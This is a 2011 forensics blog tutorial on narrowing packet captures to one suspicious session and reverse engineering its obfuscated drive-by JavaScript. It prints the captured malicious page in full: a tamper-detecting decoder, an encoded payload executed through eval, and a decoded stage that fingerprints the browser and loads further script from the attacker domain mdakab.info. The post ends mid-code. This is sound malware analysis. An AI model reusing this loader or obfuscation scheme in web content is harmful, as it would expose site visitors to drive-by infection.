Acutely focused host/network forensics topics that hopefully arent rehashes of other blogs

Network Forensics and Reverse Engineering Series Part 2 - JavaScript analysis and reverse engineering

2011-01-13T14:13:00.001-05:00

Note: The images in this post are easier to see at the location I first posted this: http://www.networkforensics.com/forensics-and-reverse-engineering-series/javascript-analysis-and-reverse-engineering/

Introduction

In our first post in the forensics and reversing series, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:

World class forensics engineers are the ones who quickly and intelligently reduce millions of sessions to about a dozen worthy of deeper analysis.

What constitutes quickly? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.

What constitutes intelligently? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):

Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.
Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.
Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.
Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.

In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, by examining characteristics external to the file, not by searching for signatures or other characteristics internal to the file. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together.
As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is inside those sessions.

Intelligent Network Forensics

Extending the discussion in the previous section (and the previous post in this series), we’ll start with examining a pcap containing about 50,000 sessions (over a gig of traffic) in NetWitness Investigator.
Our fist pivot is sessions containing nginx webservers. This brings us from 50,000 sessions down to about 300:

Next, we’ll pivot on gzip so we’re only looking at gzip’ed content from nginx servers:

Now we’re down to 33 sessions, but that’s still not good enough. If you figure an average 60 seconds of analysis time per session, that’s still a half hour of analysis just checking to see if there’s something interesting in those sessions. That is a huge waste of time and not intelligent forensics.

In the last post in this series, we combined the above with an examination of traffic from “other” countries. This time we won’t be geopolitically prejudiced. Instead, we’ll pick on top level domains.

Many reports from AV companies show most malware comes from the .com TLD. I think that metric is stupid. (Sorry.) Let’s put aside for a minute the obviously glaring problem with how they define malicious content in the first place. (Or maybe save that discussion for a rant in a separate post.) Most reports showing such metrics never show the total amount of traffic sampled from each domain. I’m certain .com is the vast majority of that traffic, and from a percentage perspective, malicious content is a small percentage of total traffic sourced from .com domains. Especially compared to other domains like .info and .cc. (In other words, I’d venture that the ratio of legitimate to malicious traffic from .info and .cc domains is a drastically different from the ratio of the same from .com.) Many sponsors charge 99 cents or less per .info or .cc domain registered, making it easy for hackers to register 100’s of throw-away domains en masse which is why we see such a high percentage of malware coming from those TLDs.

What happens when we add an .info filter to our above pivots? We go from 50,000 sessions down to one.

(Hey Latvia, remember how I said we’d pick on our own country in part 2 of this series?!)

At this point, looking at this single session is an intelligent use of time.

Here’s what we see in this session:

GET /cgi-bin/guest HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.elitefitness.com/forum/weight-training-weight-lifting/gym-mirrors-where-do-you-get-them-289864.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Connection: Keep-Alive
Host: mdakab.info

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 16 Feb 2010 10:20:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Pragma: no-cache
Content-Encoding: gzip
4EA
……….}Xko….^ ….D.eyg….V..v
..]7h. P.!.$..{m……..Z.ue’6 .1.;3……..~;O_…I…E}._mq.^..m……..)…>/……….b…~4..Z.(….~{#..9.|.~2.)N……..|….*[<[.......=$E.Dt.........z..b.vUV./......|.|..:[}..s>....]t….X.q..6..rN..I..O..\…..p…gV…..L.i.n….u.BW………?..wu..3.Y!…..S:+….}&..pT.V,.=w.

As expected, it’s gzip compressed, although looking at the session in NetWitness Investigator hides that fact by automatically deflating the contents for us. Also notice the Referrer: tag in the client’s HTTP request. As the client was redirected from a forum, it’s likely that forum is serving advertising containing drive-by attacks, or a link in the forum is tricking people into clicking.

If we take the contents of the session Investigator automatically deflated we see the following (with some formatting added here):

Data provided by Pastebin.com - Download Raw

<html>
<head>
    <script>        function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) { var r1Qq5Y3R = ""; var x__IK_7p_f = new Array(101, 111, 256, -1, 120, 23); var jtJuIuDEg = String.fromCharCode(x__IK_7p_f[4] + 2); x__IK_7p_f[3] = x__IK_7p_f[2] * 2; if (!thM0X3_Ac0O__Vw) { var b_b_x_O3XJ4_qN = x__IK_7p_f[0]; b_b_x_O3XJ4_qN = String.fromCharCode(b_b_x_O3XJ4_qN); b_b_x_O3XJ4_qN += b_b_x_O3XJ4_qN; thM0X3_Ac0O__Vw = document.getElementById(b_b_x_O3XJ4_qN); thM0X3_Ac0O__Vw = thM0X3_Ac0O__Vw.value; } var g2N2c58g_cFcf = new Array(-2, 7, 0, 0); g2N2c58g_cFcf[0] += 2; g2N2c58g_cFcf[1] -= 7; if (!N__egeg_iCt_C) { var N50_648D7_t_k = 0; var Ffyncmd8Y = x__IK_7p_f[0] - 54; var lEu5nv0 = Ffyncmd8Y + 11; var q0703A5 = arguments.callee; var aA_nii_C6 = N50_648D7_t_k; var U__i5_j48r = q0703A5.toString(); while (aA_nii_C6 < U__i5_j48r.length) { var Op18mkb = U__i5_j48r.charCodeAt(aA_nii_C6); if (Op18mkb > Ffyncmd8Y && Op18mkb < lEu5nv0) { if (N50_648D7_t_k == 4) { N50_648D7_t_k = 0; } g2N2c58g_cFcf[N50_648D7_t_k] += Op18mkb; var Lqhs6q0 = 100; if (g2N2c58g_cFcf[N50_648D7_t_k] > 512) { g2N2c58g_cFcf[N50_648D7_t_k] -= x__IK_7p_f[3]; Lqhs6q0 = 0; } N50_648D7_t_k++; } aA_nii_C6++; } } else { g2N2c58g_cFcf = N__egeg_iCt_C; } for (var sq6__AaVN__C = 0; sq6__AaVN__C < 4 && g2N2c58g_cFcf.length > 0; sq6__AaVN__C++) { if (g2N2c58g_cFcf[sq6__AaVN__C] > x__IK_7p_f[2]) { g2N2c58g_cFcf[sq6__AaVN__C] -= x__IK_7p_f[2]; } } var f1Gc7_7pPVm_vg = 0; var Qm_Y__X = f1Gc7_7pPVm_vg; var IQ__s_0qI_w_Em5 = Qm_Y__X; var SV5SwoJfj_O; while (Qm_Y__X < thM0X3_Ac0O__Vw.length) { o_40M7__5On = thM0X3_Ac0O__Vw.substr(Qm_Y__X, 2) + "^"; var sFFiD1J = parseInt(o_40M7__5On, x__IK_7p_f[5]); if (IQ__s_0qI_w_Em5 == 4) { IQ__s_0qI_w_Em5 = 0; } sFFiD1J -= (f1Gc7_7pPVm_vg + 2) * g2N2c58g_cFcf[IQ__s_0qI_w_Em5]; if (sFFiD1J < 0 || sFFiD1J < -1) { var xyz = x__IK_7p_f[2]; sFFiD1J -= Math.floor(sFFiD1J / xyz) * x__IK_7p_f[2]; } r1Qq5Y3R += String.fromCharCode(sFFiD1J); Qm_Y__X += 2; IQ__s_0qI_w_Em5++; f1Gc7_7pPVm_vg++; } var e22y8QdoQv_Dta = this.window; var b_b_x_O3XJ4_qN = ""; b_b_x_O3XJ4_qN = document.getElementById(jtJuIuDEg).name; b_b_x_O3XJ4_qN += "value"; b_b_x_O3XJ4_qN = b_b_x_O3XJ4_qN.substr(0, 4); e22y8QdoQv_Dta[b_b_x_O3XJ4_qN](r1Qq5Y3R); return 0; }</script>
</head>
<body onload="wg7_I6d_3kg(0);">
    <form method="post">
    <input type="hidden" id="ee" value='4g312441341iae922a006f481979475m9k52a7b18l769i726k3c630b8h3h291i7ab0ab7861036mb1396l4k3h2e6a53a4553g26283c4k8i6e221e52191i1h2439a48db06j0g9jag35af867j7ja64b451297461i58894797977f2i782m6e9l54705cab1e8d1j8ga252177672862b5c231la0249h70al229g9c9mb2551jafa243617a6fa81f91749m6f6j5g4c7652373b0b3daf1g7k5j9ia40k3ia67531385m1k6f074ia3b09k426m4i9g1f44190g2c4m1i99ai188ba0aa9g016b635a3g866843ai5d4g0i273i4g9g882i0i51ad411a456h1g09a2ae2c9m7f3m1a756l839c62199l7l2aa33ja5326m7888006l2d8mai43565a6bb0a43d507g25324l63a54d5329093616ab5m1k1c6m9fa8874k299d7j499612829h28ai3c775g894g6c098h3322225302b05a489471a44m8i7l5h5k66229f2g4a0c283f23854l0016509805204g62148d1i9k8a78931da77i7j739a4d298h723d9h215i0j787k612l6l2k459a3g4l329209b21b6k6m1c174l466m2h5i5020a0421f389b1c8baaae1a6l3f8288196c7i5i9jab5h4e8c4i8c597c844e392a134m171b4h3a92719i257e58573h9d496f2h7a9h050k489g6d1b406l9692aj2f317598af656h968l32859b54496l5e239m5c5k9h2c2k1c7f6d221174234h171968377ka29g0l919749167b4k628i4a2f9a802d9j318e20ag9h9cae4k2c688i3768776bb08l3f5e7m253k6c756b2438383a3g3dah4h29aj7ga710b2441fah6f1b6f9854a321046c9i6i816078al600h2m318k1d1m6a4mag80ac578e71303i6c197a284a9j0d11296m8d1g376lb20h142a391a04187e987k7d35am8974858h6l1h8j80571l4m7i489m675e207d2b690d457c5876a68524606m1b1k414h6c0341382h1e46ah4107097g9ea10f4424797a22676e6m2817954593607l4g7k8m6f22360947af9j5c26927a922k9b7l513i6m228m0e530c1f1d40ag7119166d978j0h434e8fa31e96759h832c8c634c3h4m6m238i4i5h1a2g3h4aa26b41b05a9m4c13536838ag26am2m6lad4e2389748aag604i190b4a1g5f7a0a6mam981c440d58893i57547c180e505i9m563d59447h1j54453a43371a7g3c257d0m2j027h3c14a14b9f07841eag833cal6g9l1m4c7l682i231j641d1a6k5306a2af5a6j5a305l8253ac4h6c2640482h9j8b38487i132e0l455k16131a9l07797801097j4l537h6e45a46g571h2j700h85677b207l2g670a51775l7i1lb14k8gaf463g71589j3i6c4d21a01610429k099gac9g9i744186991i56ab84aba86g6m9i465f5f77815m122f095a06ab5i4l0i899m47af5148119d529c34812405ac386m4m9f1f5814al36193l9aa6ae6m92aaa42m8570444m4e4f1b956i6a241e6e46ac5e3h0h6l273k114f57137kb07c027b6m2bac7b7f7j096a3ca77l2j9h517i0i809h90b151358a8l3a547h9b200k758183234a456l9m4d4c4f1j1j0ga54a022eag022i855h3c1299439b977j0i1b8f499g5i6k3544a66h132a3j7m06ae8a799690a9679m706d418g48a83278a2271f4kaa7f2f3j67a3adah515l091224a00ga2770i8c5j587d9h3k1ha77h51184g8b1a9g8b690251265b8h2e3k337d0haa2b6b7i4438767i8c0e2b1k06a010aa3aa71b948g939h6l3faeam43636c66b09e75639g5d7c644k9l623927165i1ial8i5m12a316477k674c1a6j2599277e252eag3aa67515487j0d820l192d7l9f9ha28b9l7m05678k6l6l8577268145469h183d23716i6121781m3420345l169h9h800f67712f9h4h4f52al5929a78h48185kaf2i7j84a525703i57b2436776741l0g677h9g2k5a5a447h1j4h4j2e4f3d1e7a3ha99k0j25b17j4eb29m49970b8b26af7j739k72a15a7j7m691d4a3j6k1faa8h74009i19439d663e6386518i5778243h3f5jae7l060f7j202c201b30978f269j13af7e36a99470809e7a4d129b29a333803b8g934i2b72266108236e4a7i25025371ae524475719b395b1ha52b4b1c3a9fab71aj0i1a7f2181804h8598911a186679a85k853772a6721f463d6a041g8a541dae9h54854k32146f288j065baa0daj3f7g560627539a930g252h800e1c92748b9m066c716g49585622b24a3maa182k1l6m7i5430652c2l1129510f911dam27a0a73h1l894i7m126356a1ah52225faa308ba3981i730d88ai3379539i1c0c697f7g4k4i3h58'><input
       type="hidden" id="z" name="e" value="123"></form>
</body>
</html>

Reverse Engineering the Javascript

Important notes:

1 – Of course, the following steps should NOT be performed on a production system! Furthermore, the system you run these steps on should be fully patched!! Using Visual Studio means the IE scripting engine is used in the debugging process, which could present issues if you’re not careful. I do work like this on a fully patched x64 Windows 2008 system.

2 – The remainder of the post dives into code analysis and using Visual Studio for debugging. If there are basic concepts I failed to cover effectively to make this process easily repeatable for you, please send me an email at gary.golomb to netwitness.com and I will ensure to cover that information in a separate post or video. (In rereading this post, I see some potential gaps. :-/)

This exercise will use two different tools. The first is Visual Studio. If you do not have it already, you can download it free at http://www.microsoft.com/express/Downloads/#2010-Visual-Web-Developer. You will need Visual Web Developer for this exercise, or the all-in-one iso. The second tool is PDFStreamDumper available from: http://sandsprite.com/blogs/index.php?uid=7&pid=57. While other tools could be used for the same tasks we’ll use PDFStreamDumper for, part 3 of this series will focus on PDF reverse engineering and we’ll be using that tool heavily. Might as well get your feet wet with it now!

To fully dissect the javascript sent to the client, we need to debug it step-by-step. To do so, we’ll first create an ASP project in Visual Studio (since that give us the debug functionality needed to make this much easier). In that project, we’ll remove all the default content created in the page for us by VS, except the first line, and append the content returned by the webserver. Doing so gives us something like the following:

Of course, we can be sure the logic we care about is the javascript, but that is still highly unreadable in one giant line and not in a format that allows for easy debugging. Because of that, we’ll use PDFStreamDumper to help clean it up. First, we open the application, then go into the javascript UI:

Next, we paste the unformatted javascript into the top script pane:

Next, select the Format Javascript selection to make it easier to read:

Although, it’s really not very easy to read yet since the variable names have confusing names like “b_b_x_O3XJ4_qN” and “x__IK_7p_f” that will make it hard to follow references to them as we walk through the code in a moment. Because of this, we’ll also apply the Basic Refactor functionality of PDFStreamDumper to clean up the code a little more:

And the code we want now is in the right-side pane:

We can take the code in the right-side pane and now paste it back into our Visual Studio project from before and it’ll now look something like the following:

Before moving on, let’s examine the HTML in the page to determine how the javascript is used on the client:

Data provided by Pastebin.com - Download Raw

<body onload="wg7_I6d_3kg(0);">
    <form method="post">
    <input type="hidden" id="ee" value='...truncated...'>
    <input type="hidden" id="z" name="e" value="123">
    </form>
</body>

On line #1 we see the javascript function is called the moment the page is loaded on the client side without any user interaction. The only value passed to the function is the number 0.

On line #3 and #4 we see two hidden values we can assume are leveraged within the javascript somehow, yet we still need to determine how/why. (I removed the large value from #3 just for the sake of this short examination. It is viewable in the previous display of the code and will be examined again shortly.)

At this point we can set a debug point at the start of the javascript function by clicking in the far-left margin next to the line we want to set the breakpoint:

Then we can start the debugger:

One thing you’ll notice is that Internet Explorer pops up in the background. This is important because it means the javascript you debug using the technique I’m showing here will show you how IE interprets the javascript, not how Firefox, Opera, Safari, etc interprets it. Interestingly, they all have subtle difference from each other in that regard. As most malicious javascript targets Windows users running IE, this is a safe method to start with, however the analysis will be incorrect if the JS is targeting a different browser, operating system, or javascript engine (we’ll see this in later posts).

The yellow line shows the line the debugger will execute next if you hit “step into.” The red box shows the “step into” button:

As you step line-by-line, you can mouse-over a variable to see what it contains before and after you step into it, as the following two examples show:

In the last example, we see gvar_2 was just assigned the value “z.” This should immediately catch your eye as interesting because of line #4 for the HTML code we examined just a minute ago. Gvar_2 got the value “z” through the following steps:

Gvar_1 was built as an integer array with the values:
1. 101
2. 111
3. 256
4. -1
5. 120
6. 23
The value at offset 4 in gvar_1 (value = 120, because the array uses zero-based indexing) was incremented by the number two to give the value 122.
The value 122 was treated as a decimal representation of a letter and fromCharCode() was used to convert it to its corresponding letter. As you can see in the ascii table shown here (http://www.asciitable.com/), 122 is the decimal equivalent of the letter z.

Also be aware that you don’t need to mouse-over each variable to watch changes take place. The “Locals” table at the bottom of the window in debug mode shows each variable and keeps track of its current value in a single table. We’ll utilize the locals table in later screenshots while analyzing the code.

Continuing to the next few lines, we see the following:

In the above, we see:

thM0X3_Ac0O__Vw is tested to see if it is null, which it is.
Gvar_3 is assigned the first value in the array gvar_1, which is 101.
Gvar_3 is reassigned the letter representation of that number using fromCharCode, which is “e”
Gvar_3 is then added to itself and becomes “ee”
thM0X3_Ac0O__Vw is then assigned the value of the object in the HTML with the ID “ee,” also shown below:

<input type=”hidden” id=”ee” value=’4g31…truncated…4i3h58′>

So far, so good, right? As you can see, reverse engineering javascript and what it’s doing isn’t too hard. I’ve even been keeping this lower-level than I need too since we can just summarize everything we’ve seen so far by just making the point given in #5 above.

Well, reverse engineering javascript can be this easy, most of the time. Unfortunately, in this case it’s not going to be that easy. A few lines after the above logic, we hit the following. The break point was set at the start of the while loop so you can see the values of each variable as we enter it:

Gvar_5, 6, 7, and 9 are number values. Gvar_8 is an object that is converted to a string and held in gvar_10. You can see the start of the string held in gvar_10 in the locals table at the bottom of the screenshot, but let me include a little more here:

function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) {
var gvar_0 = “”;
var gvar_1 = new Array(101, 111, 256, -1, 120, 23);
var gvar_2 = String.fromCharCode(gvar_1[4] + 2);
gvar_1[3] = gvar_1[2] * 2;

As you see, gvar_10 is the entire text of the function itself. WHAT?!

This trick has been used in malicious javascript for several years now, but is finally making its way into more mainstream malware (aka: become more common). Although the functionality presented by arguments.callee seems totally pointless, it’s actually used in anonymous recursive functions as well as in debug code, as the following example shows:

function testCallee()
{
return arguments.callee;
}
document.write(testCallee());

In the above simple example, the programmer is using arguments.callee to write the function itself to the page displayed, a common test in the process of developing certain types of client-side apps.
However, when used in malicious javascript (as we’re examining), the use of arguments.callee can make the job of reverse engineering JS more difficult. Let’s take a detailed walk through that while loop line-by-line and discuss:

In the first line inside the while loop (red box), gvar_9 has the value zero. Gvar_10 is the entire string of the function itself (also shown in the locals box) as obtained by using arguments.callee, so the letter at index zero in that string is the “f” in the word “function.” charCodeAt() is used to return the number representing that letter, which you can see at http://www.asciitable.com/ and in the locals box is the decimal number 102.

In the next line (shown above), that value is tested to see if it is greater than the value in gvar_6 (which is 47), or less than the value in gvar_7 (which is 58). If you refer back to http://www.asciitable.com/, you’ll see the test is looking only for the ascii numbers zero through nine.

If the value is not an ascii character for a number zero through nine, then gvar_9 is incremented and the while loop continues, as shown:

Let’s examine what happens inside the if statement when an ascii number is encountered:

Data provided by Pastebin.com - Download Raw

while (gvar_9 < gvar_10.length) 
{
    var gvar_11 = gvar_10.charCodeAt(gvar_9);
    if (gvar_11 > gvar_6 && gvar_11 < gvar_7) 
    {
        if (gvar_5 == 4) 
        {
            gvar_5 = 0;
        }
        gvar_4[gvar_5] += gvar_11;
        var gvar_12 = 100;
        if (gvar_4[gvar_5] > 512) 
        {
            gvar_4[gvar_5] -= gvar_1[3];
            gvar_12 = 0;
        }
        gvar_5++;
    }
    gvar_9++;
}

At line #6 gvar_5 is tested to see if it equals the number four. If so, it is reset to be zero. In this case, this is the first time we have entered the if statement while debugging this code and gvar_5 is still equal the number zero from its initial assignment earlier in the code.

Skipping over the if statement, we hit line #10 where we see manipulation of gvar_4. I did not address gvar_4 earlier, but here is the code that setup gvar_4 just before the setup of this while loop:

var gvar_4 = new Array(-2, 7, 0, 0);
gvar_4[0] += 2;
gvar_4[1] -= 7;

The array is built with four numbers in it. Gvar_4[0] is equal to -2, but subsequently has +2 added to it. Gvar_4[1] is equal to 7, but subsequently has 7 subtracted from it. As we see, this is just a confusing way of setting up an array with four numbers all equal to zero.

Back to line #10, the first number we hit is the number 7 in this string: “function wg7_I6d_3kg.” The decimal byte value for 7 is 55, so at line #10 the number in index zero (because gvar_5 equals zero at this point) in the array gvar_4 is incremented by the number 55. In this case it is 0 + 55 = 55, but you can see how this number will grow for every number encountered as we walk through the text of the function itself.

Line #11 creates gvar_12 and line #15 resets it, making it a dummy value only inserted for the purpose of confusing us. (Or is it?! You’ll have to answer this again after we see how arguments.callee is being used here.)

Line #12 tests the value we just wrote into the array gvar_4 to see if it’s greater than 512. Because the decimal values for the number zero through nine are 48-57, that test will always evaluate false and will never be entered.

Line #17 increments the counter used as an index pointer for gvar_4 and the loop continues. After the while loop has completed, we hit a for loop that basically just decrements each number in gvar_4 by 256 (given by the number at index 2 inside gvar_1):

So why is arguments.callee such a problem?

Because we changed the contents of this function to make it easier to read, understand, and work with! We took all the following:

var aA_nii_C6
var b_b_x_O3XJ4_qN
var e22y8QdoQv_Dta
var f1Gc7_7pPVm_vg
var Ffyncmd8Y
var g2N2c58g_cFcf
var IQ__s_0qI_w_Em5
var jtJuIuDEg
var lEu5nv0
var Lqhs6q0
var N50_648D7_t_k
var Op18mkb
var q0703A5
var Qm_Y__X
var r1Qq5Y3R
var sFFiD1J
var SV5SwoJfj_O
var U__i5_j48r
var x__IK_7p_f
var xyz

And renamed them gvar_1, gvar_2, gvar_3 and so on… That means we removed numbers from the names of variables the decoding algorithm needs to function properly. In other words, in this case, the decoding algorithm is able to determine if the javascript has been tampered with, and if so, it fails to decode properly!

So the next question is: will the decoding algorithm work if we reformat the javascript to make it easier to follow, without renaming anything (eg: inserting new lines, spaces, tabs, and whitespace to make it easier to read)? So far we have not encountered anything to indicate reformatting the javascript will break decoding. Because of that, I’ll go back to the old naming conventions and just continue the debugging from where we left off. Rerunning everything with the original variable names gets us through the for loop with the following values in the array we previously referred to as gvar_4:

Now things start to get a little more interesting. We hit a while loop that appears to start working on the very long encoded string contained in the hidden HTML object.

Qm_Y__X initially has the value zero and in each pass through the loop is tested to see if its value is less than the number representing the length of the encoded string, presumably making it an index into the string as the decode logic works through decoding the string. The first line inside the while loops takes the next two characters from the index position (currently index zero, making the substring “4g”) and assigns them to o_40M7__5On, while also appending a “^” character.

To understand the next line, we first need to talk about how the parseInt() function works in javascript. It has the following format:

parseInt(string, radix)

The parseInt() function parses a string and returns an integer. The radix parameter is used to specify which numeral system to use. For example, a radix of 16 (hexadecimal) indicates that the number in the string should be parsed from a hexadecimal number to a decimal number.

Also from http://www.w3schools.com/jsref/jsref_parseint.asp:
Tips and Notes
Only the first number in the string is returned!
Leading and trailing spaces are allowed.
If the first character cannot be converted to a number, parseInt() returns NaN.

Now consider the next line:

The string passed to parseInt() is “4g^” meaning the only number parsed is the number 4. However, the radix used for every number parsed inside this while loop is 23. The next few lines get considerably more complex and make up the heart of this impressive encoding/decoding scheme. We’ll examine them line-by-line as we take a single detailed pass through this while loop.

Data provided by Pastebin.com - Download Raw

while (Qm_Y__X < thM0X3_Ac0O__Vw.length) 
{
    o_40M7__5On = thM0X3_Ac0O__Vw.substr(Qm_Y__X, 2) + "^";
    var sFFiD1J = parseInt(o_40M7__5On, x__IK_7p_f[5]);
    if (IQ__s_0qI_w_Em5 == 4) 
    {
        IQ__s_0qI_w_Em5 = 0;
    }
    sFFiD1J -= (f1Gc7_7pPVm_vg + 2) * g2N2c58g_cFcf[IQ__s_0qI_w_Em5];
    if (sFFiD1J < 0 || sFFiD1J < -1) 
    {
        var xyz = x__IK_7p_f[2];
        sFFiD1J -= Math.floor(sFFiD1J / xyz) * x__IK_7p_f[2];
    }
    r1Qq5Y3R += String.fromCharCode(sFFiD1J);
    Qm_Y__X += 2;
    IQ__s_0qI_w_Em5++;
    f1Gc7_7pPVm_vg++;
}

We pick up at line #5, where a counter is reset every time it’s equal to the number four. As this is our first time inside the loop, it’s currently has the value zero.

Jumping over that if statement to line #9, we see the number variable just assigned a value in the previous section where we discussed parseInt(). That number is being decremented by ValueA multiplied by ValueB where:

ValueA is (f1Gc7_7pPVm_vg + 2). The variable f1Gc7_7pPVm_vg starts at the number zero when we first enter this loop, but is incremented with every pass through the loop at line #18, making this variable change for every charter evaluated.

ValueB is (g2N2c58g_cFcf[IQ__s_0qI_w_Em5]), where g2N2c58g_cFcf is a number array containing the following values:

It’s important to stop here and draw your attention to the fact that the values inside g2N2c58g_cFcf (the array pictured above) were generated by parsing the text resulting from arguments.callee and applying the math examined when we looked at that first while loop. By trying to change the variable names the way we did to make things easier to reverse, the resulting numbers placed inside the array above would have been totally different, meaning the next few steps would produce completely incorrect results!

In our first step into the loop, IQ__s_0qI_w_Em5 is equal to the number zero, so the value used from the array for this first pass is 251. At line #17, IQ__s_0qI_w_Em5 is incremented with each pass, but line #5 resets it to zero every time it reaches the value four, ensuring the array g2N2c58g_cFcf is cycled through correctly. So in this case, ValueA = 2 and ValueB = 251, and 2 * 251 = 502, which is subtracted from 108 to give the value negative 394. However, line #10 tests to see if the value just computed is less than 0, which of course it always will be!

Line #12 just assigns the value 256 to the variable xyz.

Line #13 give us the final decode for the value needed by the remainder of the code by taking the value in sFFiD1J (currently -394), which in this case becomes +118 after the execution of that line.

Line #15 gradually builds a string by appending each newly decoded value to it and lines #16-18 are just pointer updating as discussed already. If we remove our breakpoint in the loop and let it complete (but add a new breakpoint after the loop so we can examine variables when it’s complete), here is the final value of the string containing the fully decoded contents of the encoded HTML object:

var ght0jcY_f1c = -1;var DMv_m70U81LIb = “01″;var tI__JGR85k__254 = navigator.appMinorVersion;while((ght0jcY_f1c = tI__JGR85k__254.indexOf(“;SP”, ght0jcY_f1c + 1)) != -1) {var RC_Vt__07 = tI__JGR85k__254.charAt(ght0jcY_f1c + 3);if (RC_Vt__07 == “1″)DMv_m70U81LIb = “02″;else if (RC_Vt__07 == “2″)DMv_m70U81LIb = “03″;else if (RC_Vt__07 == “3″)DMv_m70U81LIb = “04″;else if (RC_Vt__07 == “4″)DMv_m70U81LIb = “05″;else if (RC_Vt__07 == “5″)DMv_m70U81LIb = “06″;else if (RC_Vt__07 == “6″)DMv_m70U81LIb = “07″;if (DMv_m70U81LIb != “01″)break;}if (DMv_m70U81LIb == “01″ && tI__JGR85k__254.indexOf(“Release Candidate”, 0) != -1)DMv_m70U81LIb = “08″;var RihOuI_7K = “2″ + DMv_m70U81LIb;var W118_aA4eh4O;if (!(W118_aA4eh4O = navigator.systemLanguage)) {if (!(W118_aA4eh4O = navigator.userLanguage)) {if (!(W118_aA4eh4O = navigator.browserLanguage)) {W118_aA4eh4O = navigator.language;}}}if (W118_aA4eh4O) {W118_aA4eh4O = W118_aA4eh4O.substr(0, 10);var QS743__js_4 = “”;for(var H4_p__kQ4 = 0; H4_p__kQ4 < W118_aA4eh4O.length; H4_p__kQ4++) {var DL___q0_RU54_T = W118_aA4eh4O.charCodeAt(H4_p__kQ4).toString(16);if (DL___q0_RU54_T < 2)QS743__js_4 += “0″;QS743__js_4 += DL___q0_RU54_T;}while(QS743__js_4.length < 20) {QS743__js_4 += “00″;}RihOuI_7K += “L” + QS743__js_4;}var f_Ha0lc_a_1_P = document.createElement(“script”);f_Ha0lc_a_1_P.setAttribute(“type”, “text/javascript”);f_Ha0lc_a_1_P.setAttribute(“src”, “http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060″ + RihOuI_7K);document.body.appendChild(f_Ha0lc_a_1_P);

As you see, it decodes into more new javascript. But, we still need to see how it’s leveraged, which the last few lines of the code we’re currently debugging will show us:

First, the red box shows the variable b_b_x_O3XJ4_qN being assigned the value “e.”

The next line appends the string “value” to it, making the new contents of b_b_x_O3XJ4_qN “evalue.”

The following line reassigns it as a substring of the original value, in this case the first four letters of “evalue,” or “eval.”

The final line is the equivalent of this.window[eval](string), but the string is the newly decoded javascript, so this javascript is turning around and executing the newly decoded script.

Rather than take a detailed walk through the analysis of the newly decoded javascript, I’ll leave it as an exercise for you. Don’t worry – there’s no use of arguments.callee, so it’s much easy to work with!! Feel free to reformat it and rename variables to make it easier to read. You can create a new website in Visual Studio and debug it the same way. This time we only have the javascript here, so you’ll need to manually add the HTML needed to get it to execute, as you can see in the following example. Notice I used the same technique they did to get the javascript to execute as soon as the page is loaded (meaning you can just add a breakpoint to the top line of the javascript).

Data provided by Pastebin.com - Download Raw

<html>
<head>
    <script>
        function mytest() 
        {
            /* insert new JS here */
        }
    </script>
</head>
<body onload="mytest();">
</body>
</html>

Here is the new javascript with formatting:

Data provided by Pastebin.com - Download Raw

var ght0jcY_f1c = -1;
var DMv_m70U81LIb = "01";
var tI__JGR85k__254 = navigator.appMinorVersion;
while ((ght0jcY_f1c = tI__JGR85k__254.indexOf(";SP", ght0jcY_f1c + 1)) != -1) {
        var RC_Vt__07 = tI__JGR85k__254.charAt(ght0jcY_f1c + 3);
        if (RC_Vt__07 == "1") DMv_m70U81LIb = "02";
        else if (RC_Vt__07 == "2") DMv_m70U81LIb = "03";
        else if (RC_Vt__07 == "3") DMv_m70U81LIb = "04";
        else if (RC_Vt__07 == "4") DMv_m70U81LIb = "05";
        else if (RC_Vt__07 == "5") DMv_m70U81LIb = "06";
        else if (RC_Vt__07 == "6") DMv_m70U81LIb = "07";
        if (DMv_m70U81LIb != "01") break;
}
if (DMv_m70U81LIb == "01" && tI__JGR85k__254.indexOf("Release Candidate", 0) != -1) DMv_m70U81LIb = "08";
var RihOuI_7K = "2" + DMv_m70U81LIb;
var W118_aA4eh4O;
if (!(W118_aA4eh4O = navigator.systemLanguage)) {
        if (!(W118_aA4eh4O = navigator.userLanguage)) {
                if (!(W118_aA4eh4O = navigator.browserLanguage)) {
                        W118_aA4eh4O = navigator.language;
                }
        }
}
if (W118_aA4eh4O) {
        W118_aA4eh4O = W118_aA4eh4O.substr(0, 10);
        var QS743__js_4 = "";
        for (var H4_p__kQ4 = 0; H4_p__kQ4 < W118_aA4eh4O.length; H4_p__kQ4++) {
                var DL___q0_RU54_T = W118_aA4eh4O.charCodeAt(H4_p__kQ4).toString(16);
                if (DL___q0_RU54_T < 2) QS743__js_4 += "0";
                QS743__js_4 += DL___q0_RU54_T;
        }
